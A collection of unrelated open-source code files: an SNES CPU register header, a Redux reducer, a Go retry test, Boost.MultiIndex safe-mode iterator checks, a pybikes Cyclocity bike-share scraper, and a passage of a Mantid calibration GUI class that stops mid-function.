CheckEmulation() (Registers.P.W & Emulation) #define SetFlags(f) (Registers.P.W |= (f)) #define ClearFlags(f) (Registers.P.W &= ~(f)) #define CheckFlag(f) (Registers.PL & (f)) typedef union { #ifdef LSB_FIRST struct { uint8 l, h; } B; #else struct { uint8 h, l; } B; #endif uint16 W; } pair; typedef union { #ifdef LSB_FIRST struct { uint8 xPCl, xPCh, xPB, z; } B; struct { uint16 xPC, d; } W; #else struct { uint8 z, xPB, xPCh, xPCl; } B; struct { uint16 d, xPC; } W; #endif uint32 xPBPC; } PC_t; struct SRegisters { uint8 DB; pair P; pair A; pair D; pair S; pair X; pair Y; PC_t PC; }; #define AL A.B.l #define AH A.B.h #define XL X.B.l #define XH X.B.h #define YL Y.B.l #define YH Y.B.h #define SL S.B.l #define SH S.B.h #define DL D.B.l #define DH D.B.h #define PL P.B.l #define PH P.B.h #define PBPC PC.xPBPC #define PCw PC.W.xPC #define PCh PC.B.xPCh #define PCl PC.B.xPCl #define PB PC.B.xPB extern struct SRegisters Registers; #endif
{ "pile_set_name": "Github" }
import { combineReducers } from 'redux'; export default function getReducer(client) { return combineReducers({ apollo: client.reducer() }); }
{ "pile_set_name": "Github" }
package internal import ( "testing" "time" . "github.com/onsi/gomega" ) func TestRetryBackoff(t *testing.T) { RegisterTestingT(t) for i := -1; i <= 16; i++ { backoff := RetryBackoff(i, time.Millisecond, 512*time.Millisecond) Expect(backoff >= 0).To(BeTrue()) Expect(backoff <= 512*time.Millisecond).To(BeTrue()) } }
{ "pile_set_name": "Github" }
/* Copyright 2003-2013 Joaquin M Lopez Munoz. * Distributed under the Boost Software License, Version 1.0. * (See accompanying file LICENSE_1_0.txt or copy at * http://www.boost.org/LICENSE_1_0.txt) * * See http://www.boost.org/libs/multi_index for library home page. */ #ifndef BOOST_MULTI_INDEX_DETAIL_SAFE_MODE_HPP #define BOOST_MULTI_INDEX_DETAIL_SAFE_MODE_HPP #if defined(_MSC_VER) #pragma once #endif /* Safe mode machinery, in the spirit of Cay Hortmann's "Safe STL" * (http://www.horstmann.com/safestl.html). * In this mode, containers of type Container are derived from * safe_container<Container>, and their corresponding iterators * are wrapped with safe_iterator. These classes provide * an internal record of which iterators are at a given moment associated * to a given container, and properly mark the iterators as invalid * when the container gets destroyed. * Iterators are chained in a single attached list, whose header is * kept by the container. More elaborate data structures would yield better * performance, but I decided to keep complexity to a minimum since * speed is not an issue here. * Safe mode iterators automatically check that only proper operations * are performed on them: for instance, an invalid iterator cannot be * dereferenced. Additionally, a set of utilty macros and functions are * provided that serve to implement preconditions and cooperate with * the framework within the container. * Iterators can also be unchecked, i.e. they do not have info about * which container they belong in. This situation arises when the iterator * is restored from a serialization archive: only information on the node * is available, and it is not possible to determine to which container * the iterator is associated to. The only sensible policy is to assume * unchecked iterators are valid, though this can certainly generate false * positive safe mode checks. * This is not a full-fledged safe mode framework, and is only intended * for use within the limits of Boost.MultiIndex. */ /* Assertion macros. These resolve to no-ops if * !defined(BOOST_MULTI_INDEX_ENABLE_SAFE_MODE). */ #if !defined(BOOST_MULTI_INDEX_ENABLE_SAFE_MODE) #undef BOOST_MULTI_INDEX_SAFE_MODE_ASSERT #define BOOST_MULTI_INDEX_SAFE_MODE_ASSERT(expr,error_code) ((void)0) #else #if !defined(BOOST_MULTI_INDEX_SAFE_MODE_ASSERT) #include <boost/assert.hpp> #define BOOST_MULTI_INDEX_SAFE_MODE_ASSERT(expr,error_code) BOOST_ASSERT(expr) #endif #endif #define BOOST_MULTI_INDEX_CHECK_VALID_ITERATOR(it) \ BOOST_MULTI_INDEX_SAFE_MODE_ASSERT( \ safe_mode::check_valid_iterator(it), \ safe_mode::invalid_iterator); #define BOOST_MULTI_INDEX_CHECK_DEREFERENCEABLE_ITERATOR(it) \ BOOST_MULTI_INDEX_SAFE_MODE_ASSERT( \ safe_mode::check_dereferenceable_iterator(it), \ safe_mode::not_dereferenceable_iterator); #define BOOST_MULTI_INDEX_CHECK_INCREMENTABLE_ITERATOR(it) \ BOOST_MULTI_INDEX_SAFE_MODE_ASSERT( \ safe_mode::check_incrementable_iterator(it), \ safe_mode::not_incrementable_iterator); #define BOOST_MULTI_INDEX_CHECK_DECREMENTABLE_ITERATOR(it) \ BOOST_MULTI_INDEX_SAFE_MODE_ASSERT( \ safe_mode::check_decrementable_iterator(it), \ safe_mode::not_decrementable_iterator); #define BOOST_MULTI_INDEX_CHECK_IS_OWNER(it,cont) \ BOOST_MULTI_INDEX_SAFE_MODE_ASSERT( \ safe_mode::check_is_owner(it,cont), \ safe_mode::not_owner); #define BOOST_MULTI_INDEX_CHECK_SAME_OWNER(it0,it1) \ BOOST_MULTI_INDEX_SAFE_MODE_ASSERT( \ safe_mode::check_same_owner(it0,it1), \ safe_mode::not_same_owner); #define BOOST_MULTI_INDEX_CHECK_VALID_RANGE(it0,it1) \ BOOST_MULTI_INDEX_SAFE_MODE_ASSERT( \ safe_mode::check_valid_range(it0,it1), \ safe_mode::invalid_range); #define BOOST_MULTI_INDEX_CHECK_OUTSIDE_RANGE(it,it0,it1) \ BOOST_MULTI_INDEX_SAFE_MODE_ASSERT( \ safe_mode::check_outside_range(it,it0,it1), \ safe_mode::inside_range); #define BOOST_MULTI_INDEX_CHECK_IN_BOUNDS(it,n) \ BOOST_MULTI_INDEX_SAFE_MODE_ASSERT( \ safe_mode::check_in_bounds(it,n), \ safe_mode::out_of_bounds); #define BOOST_MULTI_INDEX_CHECK_DIFFERENT_CONTAINER(cont0,cont1) \ BOOST_MULTI_INDEX_SAFE_MODE_ASSERT( \ safe_mode::check_different_container(cont0,cont1), \ safe_mode::same_container); #if defined(BOOST_MULTI_INDEX_ENABLE_SAFE_MODE) #include <boost/config.hpp> /* keep it first to prevent nasty warns in MSVC */ #include <algorithm> #include <boost/detail/iterator.hpp> #include <boost/multi_index/detail/access_specifier.hpp> #include <boost/multi_index/detail/iter_adaptor.hpp> #include <boost/multi_index/safe_mode_errors.hpp> #include <boost/noncopyable.hpp> #if !defined(BOOST_MULTI_INDEX_DISABLE_SERIALIZATION) #include <boost/serialization/split_member.hpp> #include <boost/serialization/version.hpp> #endif #if defined(BOOST_HAS_THREADS) #include <boost/detail/lightweight_mutex.hpp> #endif namespace boost{ namespace multi_index{ namespace safe_mode{ /* Checking routines. Assume the best for unchecked iterators * (i.e. they pass the checking when there is not enough info * to know.) */ template<typename Iterator> inline bool check_valid_iterator(const Iterator& it) { return it.valid()||it.unchecked(); } template<typename Iterator> inline bool check_dereferenceable_iterator(const Iterator& it) { return (it.valid()&&it!=it.owner()->end())||it.unchecked(); } template<typename Iterator> inline bool check_incrementable_iterator(const Iterator& it) { return (it.valid()&&it!=it.owner()->end())||it.unchecked(); } template<typename Iterator> inline bool check_decrementable_iterator(const Iterator& it) { return (it.valid()&&it!=it.owner()->begin())||it.unchecked(); } template<typename Iterator> inline bool check_is_owner( const Iterator& it,const typename Iterator::container_type& cont) { return (it.valid()&&it.owner()==&cont)||it.unchecked(); } template<typename Iterator> inline bool check_same_owner(const Iterator& it0,const Iterator& it1) { return (it0.valid()&&it1.valid()&&it0.owner()==it1.owner())|| it0.unchecked()||it1.unchecked(); } template<typename Iterator> inline bool check_valid_range(const Iterator& it0,const Iterator& it1) { if(!check_same_owner(it0,it1))return false; if(it0.valid()){ Iterator last=it0.owner()->end(); if(it1==last)return true; for(Iterator first=it0;first!=last;++first){ if(first==it1)return true; } return false; } return true; } template<typename Iterator> inline bool check_outside_range( const Iterator& it,const Iterator& it0,const Iterator& it1) { if(!check_same_owner(it0,it1))return false; if(it0.valid()){ Iterator last=it0.owner()->end(); bool found=false; Iterator first=it0; for(;first!=last;++first){ if(first==it1)break; /* crucial that this check goes after previous break */ if(first==it)found=true; } if(first!=it1)return false; return !found; } return true; } template<typename Iterator,typename Difference> inline bool check_in_bounds(const Iterator& it,Difference n) { if(it.unchecked())return true; if(!it.valid()) return false; if(n>0) return it.owner()->end()-it>=n; else return it.owner()->begin()-it<=n; } template<typename Container> inline bool check_different_container( const Container& cont0,const Container& cont1) { return &cont0!=&cont1; } /* Invalidates all iterators equivalent to that given. Safe containers * must call this when deleting elements: the safe mode framework cannot * perform this operation automatically without outside help. */ template<typename Iterator> inline void detach_equivalent_iterators(Iterator& it) { if(it.valid()){ { #if defined(BOOST_HAS_THREADS) boost::detail::lightweight_mutex::scoped_lock lock(it.cont->mutex); #endif Iterator *prev_,*next_; for( prev_=static_cast<Iterator*>(&it.cont->header); (next_=static_cast<Iterator*>(prev_->next))!=0;){ if(next_!=&it&&*next_==it){ prev_->next=next_->next; next_->cont=0; } else prev_=next_; } } it.detach(); } } template<typename Container> class safe_container; /* fwd decl. */ } /* namespace multi_index::safe_mode */ namespace detail{ class safe_container_base; /* fwd decl. */ class safe_iterator_base { public: bool valid()const{return cont!=0;} bool unchecked()const{return unchecked_;} inline void detach(); void uncheck() { detach(); unchecked_=true; } protected: safe_iterator_base():cont(0),next(0),unchecked_(false){} explicit safe_iterator_base(safe_container_base* cont_): unchecked_(false) { attach(cont_); } safe_iterator_base(const safe_iterator_base& it): unchecked_(it.unchecked_) { attach(it.cont); } safe_iterator_base& operator=(const safe_iterator_base& it) { unchecked_=it.unchecked_; safe_container_base* new_cont=it.cont; if(cont!=new_cont){ detach(); attach(new_cont); } return *this; } ~safe_iterator_base() { detach(); } const safe_container_base* owner()const{return cont;} BOOST_MULTI_INDEX_PRIVATE_IF_MEMBER_TEMPLATE_FRIENDS: friend class safe_container_base; #if !defined(BOOST_NO_MEMBER_TEMPLATE_FRIENDS) template<typename> friend class safe_mode::safe_container; template<typename Iterator> friend void safe_mode::detach_equivalent_iterators(Iterator&); #endif inline void attach(safe_container_base* cont_); safe_container_base* cont; safe_iterator_base* next; bool unchecked_; }; class safe_container_base:private noncopyable { public: safe_container_base(){} BOOST_MULTI_INDEX_PROTECTED_IF_MEMBER_TEMPLATE_FRIENDS: friend class safe_iterator_base; #if !defined(BOOST_NO_MEMBER_TEMPLATE_FRIENDS) template<typename Iterator> friend void safe_mode::detach_equivalent_iterators(Iterator&); #endif ~safe_container_base() { /* Detaches all remaining iterators, which by now will * be those pointing to the end of the container. */ for(safe_iterator_base* it=header.next;it;it=it->next)it->cont=0; header.next=0; } void swap(safe_container_base& x) { for(safe_iterator_base* it0=header.next;it0;it0=it0->next)it0->cont=&x; for(safe_iterator_base* it1=x.header.next;it1;it1=it1->next)it1->cont=this; std::swap(header.cont,x.header.cont); std::swap(header.next,x.header.next); } safe_iterator_base header; #if defined(BOOST_HAS_THREADS) boost::detail::lightweight_mutex mutex; #endif }; void safe_iterator_base::attach(safe_container_base* cont_) { cont=cont_; if(cont){ #if defined(BOOST_HAS_THREADS) boost::detail::lightweight_mutex::scoped_lock lock(cont->mutex); #endif next=cont->header.next; cont->header.next=this; } } void safe_iterator_base::detach() { if(cont){ #if defined(BOOST_HAS_THREADS) boost::detail::lightweight_mutex::scoped_lock lock(cont->mutex); #endif safe_iterator_base *prev_,*next_; for(prev_=&cont->header;(next_=prev_->next)!=this;prev_=next_){} prev_->next=next; cont=0; } } } /* namespace multi_index::detail */ namespace safe_mode{ /* In order to enable safe mode on a container: * - The container must derive from safe_container<container_type>, * - iterators must be generated via safe_iterator, which adapts a * preexistent unsafe iterator class. */ template<typename Container> class safe_container; template<typename Iterator,typename Container> class safe_iterator: public detail::iter_adaptor<safe_iterator<Iterator,Container>,Iterator>, public detail::safe_iterator_base { typedef detail::iter_adaptor<safe_iterator,Iterator> super; typedef detail::safe_iterator_base safe_super; public: typedef Container container_type; typedef typename Iterator::reference reference; typedef typename Iterator::difference_type difference_type; safe_iterator(){} explicit safe_iterator(safe_container<container_type>* cont_): safe_super(cont_){} template<typename T0> safe_iterator(const T0& t0,safe_container<container_type>* cont_): super(Iterator(t0)),safe_super(cont_){} template<typename T0,typename T1> safe_iterator( const T0& t0,const T1& t1,safe_container<container_type>* cont_): super(Iterator(t0,t1)),safe_super(cont_){} safe_iterator& operator=(const safe_iterator& x) { BOOST_MULTI_INDEX_CHECK_VALID_ITERATOR(x); this->base_reference()=x.base_reference(); safe_super::operator=(x); return *this; } const container_type* owner()const { return static_cast<const container_type*>( static_cast<const safe_container<container_type>*>( this->safe_super::owner())); } /* get_node is not to be used by the user */ typedef typename Iterator::node_type node_type; node_type* get_node()const{return this->base_reference().get_node();} private: friend class boost::multi_index::detail::iter_adaptor_access; reference dereference()const { BOOST_MULTI_INDEX_CHECK_VALID_ITERATOR(*this); BOOST_MULTI_INDEX_CHECK_DEREFERENCEABLE_ITERATOR(*this); return *(this->base_reference()); } bool equal(const safe_iterator& x)const { BOOST_MULTI_INDEX_CHECK_VALID_ITERATOR(*this); BOOST_MULTI_INDEX_CHECK_VALID_ITERATOR(x); BOOST_MULTI_INDEX_CHECK_SAME_OWNER(*this,x); return this->base_reference()==x.base_reference(); } void increment() { BOOST_MULTI_INDEX_CHECK_VALID_ITERATOR(*this); BOOST_MULTI_INDEX_CHECK_INCREMENTABLE_ITERATOR(*this); ++(this->base_reference()); } void decrement() { BOOST_MULTI_INDEX_CHECK_VALID_ITERATOR(*this); BOOST_MULTI_INDEX_CHECK_DECREMENTABLE_ITERATOR(*this); --(this->base_reference()); } void advance(difference_type n) { BOOST_MULTI_INDEX_CHECK_VALID_ITERATOR(*this); BOOST_MULTI_INDEX_CHECK_IN_BOUNDS(*this,n); this->base_reference()+=n; } difference_type distance_to(const safe_iterator& x)const { BOOST_MULTI_INDEX_CHECK_VALID_ITERATOR(*this); BOOST_MULTI_INDEX_CHECK_VALID_ITERATOR(x); BOOST_MULTI_INDEX_CHECK_SAME_OWNER(*this,x); return x.base_reference()-this->base_reference(); } #if !defined(BOOST_MULTI_INDEX_DISABLE_SERIALIZATION) /* Serialization. Note that Iterator::save and Iterator:load * are assumed to be defined and public: at first sight it seems * like we could have resorted to the public serialization interface * for doing the forwarding to the adapted iterator class: * ar<<base_reference(); * ar>>base_reference(); * but this would cause incompatibilities if a saving * program is in safe mode and the loading program is not, or * viceversa --in safe mode, the archived iterator data is one layer * deeper, this is especially relevant with XML archives. * It'd be nice if Boost.Serialization provided some forwarding * facility for use by adaptor classes. */ friend class boost::serialization::access; BOOST_SERIALIZATION_SPLIT_MEMBER() template<class Archive> void save(Archive& ar,const unsigned int version)const { BOOST_MULTI_INDEX_CHECK_VALID_ITERATOR(*this); this->base_reference().save(ar,version); } template<class Archive> void load(Archive& ar,const unsigned int version) { this->base_reference().load(ar,version); safe_super::uncheck(); } #endif }; template<typename Container> class safe_container:public detail::safe_container_base { typedef detail::safe_container_base super; public: void detach_dereferenceable_iterators() { typedef typename Container::iterator iterator; iterator end_=static_cast<Container*>(this)->end(); iterator *prev_,*next_; for( prev_=static_cast<iterator*>(&this->header); (next_=static_cast<iterator*>(prev_->next))!=0;){ if(*next_!=end_){ prev_->next=next_->next; next_->cont=0; } else prev_=next_; } } void swap(safe_container<Container>& x) { super::swap(x); } }; } /* namespace multi_index::safe_mode */ } /* namespace multi_index */ #if !defined(BOOST_MULTI_INDEX_DISABLE_SERIALIZATION) namespace serialization{ template<typename Iterator,typename Container> struct version< boost::multi_index::safe_mode::safe_iterator<Iterator,Container> > { BOOST_STATIC_CONSTANT( int,value=boost::serialization::version<Iterator>::value); }; } /* namespace serialization */ #endif } /* namespace boost */ #endif /* BOOST_MULTI_INDEX_ENABLE_SAFE_MODE */ #endif
{ "pile_set_name": "Github" }
# -*- coding: utf-8 -*- # Copyright (C) 2010-2012, eskerda <[email protected]> # Distributed under the AGPL license, see LICENSE.txt import json try: # Python 2 from HTMLParser import HTMLParser except ImportError: # Python 3 from html.parser import HTMLParser from lxml import etree from .base import BikeShareSystem, BikeShareStation from . import utils __all__ = ['Cyclocity','CyclocityStation','CyclocityWeb','CyclocityWebStation'] api_root = "https://api.jcdecaux.com/vls/v1/" endpoints = { 'contracts': 'contracts?apiKey={api_key}', 'stations' : 'stations?apiKey={api_key}&contract={contract}', 'station' : 'stations/{station_id}?contract={contract}&apiKey={api_key}' } html_parser = HTMLParser() class Cyclocity(BikeShareSystem): sync = True authed = True meta = { 'system': 'Cyclocity', 'company': ['JCDecaux'], 'license': { 'name': 'Open Licence', 'url': 'https://developer.jcdecaux.com/#/opendata/licence' }, 'source': 'https://developer.jcdecaux.com' } def __init__(self, tag, meta, contract, key): super( Cyclocity, self).__init__(tag, meta) self.contract = contract self.api_key = key self.stations_url = api_root + endpoints['stations'].format( api_key = self.api_key, contract = contract ) self.station_url = api_root + endpoints['station'].format( api_key = self.api_key, contract = contract, station_id = '{station_id}' ) def update(self, scraper = None): if scraper is None: scraper = utils.PyBikesScraper() data = json.loads(scraper.request(self.stations_url)) stations = [] for info in data: try: station = CyclocityStation(info, self.station_url) except Exception: continue stations.append(station) self.stations = stations @staticmethod def get_contracts(api_key, scraper = None): if scraper is None: scraper = utils.PyBikesScraper() url = api_root + endpoints['contracts'].format(api_key = api_key) return json.loads(scraper.request(url)) class CyclocityStation(BikeShareStation): def __init__(self, jcd_data, station_url): super(CyclocityStation, self).__init__() self.name = jcd_data['name'] self.latitude = jcd_data['position']['lat'] self.longitude = jcd_data['position']['lng'] self.bikes = jcd_data['available_bikes'] self.free = jcd_data['available_bike_stands'] self.extra = { 'uid': jcd_data['number'], 'address': jcd_data['address'], 'status': jcd_data['status'], 'banking': jcd_data['banking'], 'bonus': jcd_data['bonus'], 'last_update': jcd_data['last_update'], 'slots': jcd_data['bike_stands'] } self.url = station_url.format(station_id = jcd_data['number']) if self.latitude is None or self.longitude is None: raise Exception('An station needs a lat/lng to be defined!') def update(self, scraper = None, net_update = False): if scraper is None: scraper = utils.PyBikesScraper() super(CyclocityStation, self).update() if net_update: status = json.loads(scraper.request(self.url)) self.__init__(status, self.url) return self class CyclocityWeb(BikeShareSystem): sync = False meta = { 'system': 'Cyclocity', 'company': ['JCDecaux'] } _list_url = '/service/carto' _station_url = '/service/stationdetails/{city}/{id}' def __init__(self, tag, meta, endpoint, city): super(CyclocityWeb, self).__init__(tag, meta) self.endpoint = endpoint self.city = city self.list_url = endpoint + CyclocityWeb._list_url self.station_url = endpoint + CyclocityWeb._station_url def update(self, scraper = None): if scraper is None: scraper = utils.PyBikesScraper() xml_markers = scraper.request(self.list_url) dom = etree.fromstring(xml_markers.encode('utf-7')) markers = dom.xpath('/carto/markers/marker') stations = [] for marker in markers: station = CyclocityWebStation.from_xml(marker) station.url = self.station_url.format( city = self.city, id = station.extra['uid'] ) stations.append(station) self.stations = stations class CyclocityWebStation(BikeShareStation): @staticmethod def from_xml(marker): station = CyclocityWebStation() station.name = marker.get('name').title() station.latitude = float(marker.get('lat')) station.longitude = float(marker.get('lng')) station.extra = { 'uid': int(marker.get('number')), 'address': html_parser.unescape( marker.get('fullAddress').rstrip() ), 'open': int(marker.get('open')) == 1, 'bonus': int(marker.get('bonus')) == 1 } return station def update(self, scraper = None): if scraper is None: scraper = utils.PyBikesScraper() super(CyclocityWebStation, self).update() status_xml = scraper.request(self.url) status = etree.fromstring(status_xml.encode('utf-8')) self.bikes = int(status.findtext('available')) self.free = int(status.findtext('free')) self.extra['open'] = int(status.findtext('open')) == 1 self.extra['last_update'] = status.findtext('updated') self.extra['connected'] = status.findtext('connected') self.extra['slots'] = int(status.findtext('total')) self.extra['ticket'] = int(status.findtext('ticket')) == 1
{ "pile_set_name": "Github" }
// Mantid Repository : https://github.com/mantidproject/mantid // // Copyright &copy; 2018 ISIS Rutherford Appleton Laboratory UKRI, // NScD Oak Ridge National Laboratory, European Spallation Source, // Institut Laue - Langevin & CSNS, Institute of High Energy Physics, CAS // SPDX - License - Identifier: GPL - 3.0 + #include "ISISCalibration.h" #include "MantidAPI/MatrixWorkspace.h" #include "MantidAPI/WorkspaceGroup.h" #include "MantidGeometry/Instrument.h" #include "MantidKernel/Logger.h" #include <QDebug> #include <QFileInfo> #include <stdexcept> using namespace Mantid::API; using namespace MantidQt::MantidWidgets; namespace { Mantid::Kernel::Logger g_log("ISISCalibration"); template <typename Map, typename Key, typename Value> Value getValueOr(const Map &map, const Key &key, const Value &defaultValue) { try { return map.at(key); } catch (std::out_of_range &) { return defaultValue; } } } // namespace using namespace Mantid::API; using MantidQt::API::BatchAlgorithmRunner; namespace MantidQt { namespace CustomInterfaces { //---------------------------------------------------------------------------------------------- /** Constructor */ ISISCalibration::ISISCalibration(IndirectDataReduction *idrUI, QWidget *parent) : IndirectDataReductionTab(idrUI, parent), m_lastCalPlotFilename("") { m_uiForm.setupUi(parent); setOutputPlotOptionsPresenter(std::make_unique<IndirectPlotOptionsPresenter>( m_uiForm.ipoPlotOptions, this, PlotWidget::SpectraBin)); m_uiForm.ppCalibration->setCanvasColour(QColor(240, 240, 240)); m_uiForm.ppResolution->setCanvasColour(QColor(240, 240, 240)); m_uiForm.ppCalibration->watchADS(false); m_uiForm.ppResolution->watchADS(false); auto *doubleEditorFactory = new DoubleEditorFactory(); // CAL PROPERTY TREE m_propTrees["CalPropTree"] = new QtTreePropertyBrowser(); m_propTrees["CalPropTree"]->setFactoryForManager(m_dblManager, doubleEditorFactory); m_uiForm.propertiesCalibration->addWidget(m_propTrees["CalPropTree"]); // Cal Property Tree: Peak/Background m_properties["CalPeakMin"] = m_dblManager->addProperty("Peak Min"); m_properties["CalPeakMax"] = m_dblManager->addProperty("Peak Max"); m_properties["CalBackMin"] = m_dblManager->addProperty("Back Min"); m_properties["CalBackMax"] = m_dblManager->addProperty("Back Max"); m_propTrees["CalPropTree"]->addProperty(m_properties["CalPeakMin"]); m_propTrees["CalPropTree"]->addProperty(m_properties["CalPeakMax"]); m_propTrees["CalPropTree"]->addProperty(m_properties["CalBackMin"]); m_propTrees["CalPropTree"]->addProperty(m_properties["CalBackMax"]); // Cal plot range selectors auto calPeak = m_uiForm.ppCalibration->addRangeSelector("CalPeak"); calPeak->setColour(Qt::red); auto calBackground = m_uiForm.ppCalibration->addRangeSelector("CalBackground"); calBackground->setColour(Qt::blue); // blue to be consistent with fit wizard // RES PROPERTY TREE m_propTrees["ResPropTree"] = new QtTreePropertyBrowser(); m_propTrees["ResPropTree"]->setFactoryForManager(m_dblManager, doubleEditorFactory); m_uiForm.loResolutionOptions->addWidget(m_propTrees["ResPropTree"]); // Res Property Tree: Spectra Selection m_properties["ResSpecMin"] = m_dblManager->addProperty("Spectra Min"); m_propTrees["ResPropTree"]->addProperty(m_properties["ResSpecMin"]); m_dblManager->setDecimals(m_properties["ResSpecMin"], 0); m_properties["ResSpecMax"] = m_dblManager->addProperty("Spectra Max"); m_propTrees["ResPropTree"]->addProperty(m_properties["ResSpecMax"]); m_dblManager->setDecimals(m_properties["ResSpecMax"], 0); // Res Property Tree: Background Properties QtProperty *resBG = m_grpManager->addProperty("Background"); m_propTrees["ResPropTree"]->addProperty(resBG); m_properties["ResStart"] = m_dblManager->addProperty("Start"); resBG->addSubProperty(m_properties["ResStart"]); m_properties["ResEnd"] = m_dblManager->addProperty("End"); resBG->addSubProperty(m_properties["ResEnd"]); // Res Property Tree: Rebinning const int NUM_DECIMALS = 3; QtProperty *resRB = m_grpManager->addProperty("Rebinning"); m_propTrees["ResPropTree"]->addProperty(resRB); m_properties["ResELow"] = m_dblManager->addProperty("Low"); m_dblManager->setDecimals(m_properties["ResELow"], NUM_DECIMALS); m_dblManager->setValue(m_properties["ResELow"], -0.2); resRB->addSubProperty(m_properties["ResELow"]); m_properties["ResEWidth"] = m_dblManager->addProperty("Width"); m_dblManager->setDecimals(m_properties["ResEWidth"], NUM_DECIMALS); m_dblManager->setValue(m_properties["ResEWidth"], 0.002); m_dblManager->setMinimum(m_properties["ResEWidth"], 0.001); resRB->addSubProperty(m_properties["ResEWidth"]); m_properties["ResEHigh"] = m_dblManager->addProperty("High"); m_dblManager->setDecimals(m_properties["ResEHigh"], NUM_DECIMALS); m_dblManager->setValue(m_properties["ResEHigh"], 0.2); resRB->addSubProperty(m_properties["ResEHigh"]); // Res plot range selectors // Create ResBackground first so ResPeak is drawn above it auto resBackground = m_uiForm.ppResolution->addRangeSelector("ResBackground"); resBackground->setColour(Qt::blue); auto resPeak = m_uiForm.ppResolution->addRangeSelector("ResPeak"); resPeak->setColour(Qt::red); // SIGNAL/SLOT CONNECTIONS // Update instrument information when a new instrument config is selected connect(this, SIGNAL(newInstrumentConfiguration()), this, SLOT(setDefaultInstDetails())); #if QT_VERSION < QT_VERSION_CHECK(5, 0, 0) connect(resPeak, SIGNAL(rangeChanged(double, double)), resBackground, SLOT(setRange(double, double))); #endif // Update property map when a range selector is moved connect(calPeak, SIGNAL(minValueChanged(double)), this, SLOT(calMinChanged(double))); connect(calPeak, SIGNAL(maxValueChanged(double)), this, SLOT(calMaxChanged(double))); connect(calBackground, SIGNAL(minValueChanged(double)), this, SLOT(calMinChanged(double))); connect(calBackground, SIGNAL(maxValueChanged(double)), this, SLOT(calMaxChanged(double))); connect(resPeak, SIGNAL(minValueChanged(double)), this, SLOT(calMinChanged(double))); connect(resPeak, SIGNAL(maxValueChanged(double)), this, SLOT(calMaxChanged(double))); connect(resBackground, SIGNAL(minValueChanged(double)), this, SLOT(calMinChanged(double))); connect(resBackground, SIGNAL(maxValueChanged(double)), this, SLOT(calMaxChanged(double))); // Update range selector positions when a value in the double manager changes connect(m_dblManager, SIGNAL(valueChanged(QtProperty *, double)), this, SLOT(calUpdateRS(QtProperty *, double))); // Plot miniplots after a file has loaded connect(m_uiForm.leRunNo, SIGNAL(filesFound()), this, SLOT(calPlotRaw())); // Toggle RES file options when user toggles Create RES File checkbox connect(m_uiForm.ckCreateResolution, SIGNAL(toggled(bool)), this, SLOT(resCheck(bool))); // Shows message on run button when user is inputting a run number connect(m_uiForm.leRunNo, SIGNAL(fileTextChanged(const QString &)), this, SLOT(pbRunEditing())); // Shows message on run button when Mantid is finding the file for a given run // number connect(m_uiForm.leRunNo, SIGNAL(findingFiles()), this, SLOT(pbRunFinding())); // Reverts run button back to normal when file finding has finished connect(m_uiForm.leRunNo, SIGNAL(fileFindingFinished()), this, SLOT(pbRunFinished())); // Nudge resCheck to ensure res range selectors are only shown when Create RES // file is checked resCheck(m_uiForm.ckCreateResolution->isChecked()); connect(m_batchAlgoRunner, SIGNAL(batchComplete(bool)), this, SLOT(algorithmComplete(bool))); // Handle running, plotting and saving connect(m_uiForm.pbRun, SIGNAL(clicked()), this, SLOT(runClicked())); connect(m_uiForm.pbSave, SIGNAL(clicked()), this, SLOT(saveClicked())); connect(this, SIGNAL(updateRunButton(bool, std::string const &, QString const &, QString const &)), this, SLOT(updateRunButton(bool, std::string const &, QString const &, QString const &))); } //---------------------------------------------------------------------------------------------- /** Destructor */ ISISCalibration::~ISISCalibration() {} std::pair<double, double> ISISCalibration::peakRange() const { return std::make_pair(m_dblManager->value(m_properties["CalPeakMin"]), m_dblManager->value(m_properties["CalPeakMax"])); } std::pair<double, double> ISISCalibration::backgroundRange() const { return std::make_pair(m_dblManager->value(m_properties["CalBackMin"]), m_dblManager->value(m_properties["CalBackMax"])); } std::pair<double, double> ISISCalibration::resolutionRange() const { return std::make_pair(m_dblManager->value(m_properties["ResStart"]), m_dblManager->value(m_properties["ResEnd"])); } QString ISISCalibration::peakRangeString() const { return m_properties["CalPeakMin"]->valueText() + "," + m_properties["CalPeakMax"]->valueText(); } QString ISISCalibration::backgroundRangeString() const { return m_properties["CalBackMin"]->valueText() + "," + m_properties["CalBackMax"]->valueText(); } QString ISISCalibration::instrumentDetectorRangeString() { return getInstrumentDetail("spectra-min") + "," + getInstrumentDetail("spectra-max"); } QString ISISCalibration::outputWorkspaceName() const { auto name = QFileInfo(m_uiForm.leRunNo->getFirstFilename()).baseName(); if (m_uiForm.leRunNo->getFilenames().size() > 1) name += "_multi"; return name + QString::fromStdString("_") + getAnalyserName() + getReflectionName(); } QString ISISCalibration::resolutionDetectorRangeString() const { return QString::number(m_dblManager->value(m_properties["ResSpecMin"])) + "," + QString::number(m_dblManager->value(m_properties["ResSpecMax"])); } QString ISISCalibration::rebinString() const { return QString::number(m_dblManager->value(m_properties["ResELow"])) + "," + QString::number(m_dblManager->value(m_properties["ResEWidth"])) + "," + QString::number(m_dblManager->value(m_properties["ResEHigh"])); } QString ISISCalibration::backgroundString() const { return QString::number(m_dblManager->value(m_properties["ResStart"])) + "," + QString::number(m_dblManager->value(m_properties["ResEnd"])); } void ISISCalibration::setPeakRange(const double &minimumTof, const double &maximumTof) { auto calibrationPeak = m_uiForm.ppCalibration->getRangeSelector("CalPeak"); setRangeSelector(calibrationPeak, m_properties["CalPeakMin"], m_properties["CalPeakMax"], qMakePair(minimumTof, maximumTof)); } void ISISCalibration::setBackgroundRange(const double &minimumTof, const double &maximumTof) { auto background = m_uiForm.ppCalibration->getRangeSelector("CalBackground"); setRangeSelector(background, m_properties["CalBackMin"], m_properties["CalBackMax"], qMakePair(minimumTof, maximumTof)); } void ISISCalibration::setRangeLimits( MantidWidgets::RangeSelector *rangeSelector, const double &minimum, const double &maximum, const QString &minPropertyName, const QString &maxPropertyName) { setPlotPropertyRange(rangeSelector, m_properties[minPropertyName], m_properties[maxPropertyName], qMakePair(minimum, maximum)); } void ISISCalibration::setPeakRangeLimits(const double &peakMin, const double &peakMax) { auto calibrationPeak = m_uiForm.ppCalibration->getRangeSelector("CalPeak"); setRangeLimits(calibrationPeak, peakMin, peakMax, "CalELow", "CalEHigh"); } void ISISCalibration::setBackgroundRangeLimits(const double &backgroundMin, const double &backgroundMax) { auto background = m_uiForm.ppCalibration->getRangeSelector("CalBackground"); setRangeLimits(background, backgroundMin, backgroundMax, "CalStart", "CalEnd"); } void ISISCalibration::setResolutionSpectraRange(const double &minimum, const double &maximum) { m_dblManager->setValue(m_properties["ResSpecMin"], minimum); 